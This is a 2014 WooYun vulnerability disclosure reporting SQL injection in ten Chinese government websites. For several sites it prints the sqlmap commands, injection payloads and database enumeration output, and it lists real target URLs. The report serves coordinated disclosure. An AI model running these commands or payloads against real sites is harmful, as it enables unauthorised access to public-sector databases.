当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-080069

漏洞标题：10个政府网站SQL注入打包

相关厂商：cncert国家互联网应急中心

漏洞作者： 小饼仔

提交时间：2014-10-21 10:26

修复时间：2014-12-05 10:28

公开时间：2014-12-05 10:28

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-21： 细节已通知厂商并且等待厂商处理中
2014-10-25： 厂商已经确认，细节仅向厂商公开
2014-11-04： 细节向核心白帽子及相关领域专家公开
2014-11-14： 细节向普通白帽子公开
2014-11-24： 细节向实习白帽子公开
2014-12-05： 细节向公众公开

简要描述：

~~

详细说明：

1. 榆林机关党建网
http://www.yldjw.gov.cn:88/platform/sysUser/idenUser.asp?username=admin&r=841&password=a
python sqlmap.py -u "http://www.yldjw.gov.cn:88/platform/sysUser/idenUser.asp?username=admin&r=841&password=a" --is-dba --current-user --current-db --dbs --batch --threads  10
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: password
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: username=admin&r=841&password=a' AND 3302=CONVERT(INT,(SELECT CHAR(113)+CHAR(110)+CHAR(103)+CHAR(119)+CHAR(113)+(SELECT (CASE WHEN (3302=3302) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(105)+CHAR(109)+CHAR(116)+CHAR(113))) AND 'fCVO'='fCVO
    Type: UNION query
    Title: Generic UNION query (NULL) - 13 columns
    Payload: username=admin&r=841&password=a' UNION ALL SELECT CHAR(113)+CHAR(110)+CHAR(103)+CHAR(119)+CHAR(113)+CHAR(66)+CHAR(68)+CHAR(119)+CHAR(74)+CHAR(120)+CHAR(86)+CHAR(72)+CHAR(121)+CHAR(76)+CHAR(73)+CHAR(113)+CHAR(105)+CHAR(109)+CHAR(116)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
---
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
current user:    'ylmo'
current database:    'ylmo'
current user is DBA:    False
available databases [7]:
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] ylmo


2. 建德市住房和城乡建设局
http://www.jdjs.gov.cn/components/com_vote/vote.jsp?id=0329a2307f00000101a80fb8158fb6a3
python sqlmap.py -u "http://www.jdjs.gov.cn/components/com_vote/vote.jsp?id=0329a2307f00000101a80fb8158fb6a3" --is-dba --dbs --current-db --current-user --threads 10 --batch
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: infoid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: infoid=1703087AD8156AC6E5381563DE5225CD' AND 5423=5423 AND 'fWVe'='fWVe
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: infoid=1703087AD8156AC6E5381563DE5225CD' AND 7615=DBMS_PIPE.RECEIVE_MESSAGE(CHR(67)||CHR(74)||CHR(122)||CHR(105),5) AND 'rUjm'='rUjm
---
web server operating system: Windows
web application technology: Apache 2.2.25, JSP, JSP 2.1
back-end DBMS: Oracle
current user:    'HNWSSP'
current schema (equivalent to database on Oracle):    'HNWSSP'
current user is DBA:    True
available databases [18]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] HNGGFW
[*] HNWSSP
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[*] ZJJG


3.海宁市行政服务中心
http://www.hnxzsp.gov.cn/news/news_content.jsp?infoid=1703087AD8156AC6E5381563DE5225CD
python sqlmap.py -u "http://www.hnxzsp.gov.cn/news/news_content.jsp?infoid=1703087AD8156AC6E5381563DE5225CD" --is-dba --dbs --current-db --current-user --threads 10  -D HNWSSP --tables
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: infoid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: infoid=1703087AD8156AC6E5381563DE5225CD' AND 5423=5423 AND 'fWVe'='fWVe
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: infoid=1703087AD8156AC6E5381563DE5225CD' AND 7615=DBMS_PIPE.RECEIVE_MESSAGE(CHR(67)||CHR(74)||CHR(122)||CHR(105),5) AND 'rUjm'='rUjm
---
web server operating system: Windows
web application technology: Apache 2.2.25, JSP, JSP 2.1
back-end DBMS: Oracle
current user:    'HNWSSP'
current schema (equivalent to database on Oracle):    'HNWSSP'
current user is DBA:    True
available databases [18]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] HNGGFW
[*] HNWSSP
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[*] ZJJG


4. 嘉善县公共资源交易中心
http://60.12.186.79/TSPB/web/news/Content.jsp?infoId=E53DA8CD676874026AA81CDB77F32380&PUBTYPE=10
python sqlmap.py -u "http://60.12.186.79/TSPB/web/news/Content.jsp?infoId=E53DA8CD676874026AA81CDB77F32380&PUBTYPE=10" --is-dba --dbs --current-db --current-user --threads 10 --batch
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: infoId
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: infoId=464CC653138FB29C89F9A5B416DCF6F7' AND 3857=3857 AND 'VWFt'='VWFt&PUBTYPE=20
    Type: UNION query
    Title: Generic UNION query (NULL) - 19 columns
    Payload: infoId=-7210' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(119)+CHAR(112)+CHAR(105)+CHAR(113)+CHAR(106)+CHAR(72)+CHAR(75)+CHAR(70)+CHAR(71)+CHAR(85)+CHAR(70)+CHAR(97)+CHAR(120)+CHAR(114)+CHAR(113)+CHAR(99)+CHAR(111)+CHAR(121)+CHAR(113),NULL,NULL,NULL-- &PUBTYPE=20
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: infoId=464CC653138FB29C89F9A5B416DCF6F7'; WAITFOR DELAY '0:0:5'--&PUBTYPE=20
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: infoId=464CC653138FB29C89F9A5B416DCF6F7' WAITFOR DELAY '0:0:5'--&PUBTYPE=20
---
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000
current user:    'xkfglxt'
current database:    'JsZjPb'
current user is DBA:    False
available databases [9]:
[*] jsWeb
[*] JsZjPb
[*] JsZjPbTest
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb


其他的类似，就不贴了
5.http://www.jszbw.com/TSPB/web/news/Content.jsp?infoId=DD3C97E42420A40CE784EC4BC501D68D&PUBTYPE=9
6.http://www.jsspzx.gov.cn/JsWeb/news/ShowContent.jsp?infoId=B33A32A78114576C49582DA3BC5ED231
7.http://spfwzx.zjwjj.gov.cn/wjjspfwzx/web/news/news_content.jsp?infoId=4EF8B41B329393AA3FC33695C577AE64
8.http://www.jxedzsp.gov.cn/jxkfqglxt/web/news/news_content.jsp?infoId=BE85AEA774AEEACD2029E1906FD84417
9.http://www.xzxzsp.gov.cn/SZ_SPWEB/ser_newinfocontent?InfoID=81752F10-28AE-4C11-A21E-14298777C1D6&action=dynamic&Type=1
10.http://www.hnxzfw.gov.cn/news/news_content.jsp?infoid=48DD3724883FF4EA0FC1F6F77F0DE760


漏洞证明：

修复方案：

版权声明：转载请注明来源 小饼仔@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2014-10-25 23:48

厂商回复：

最新状态：

暂无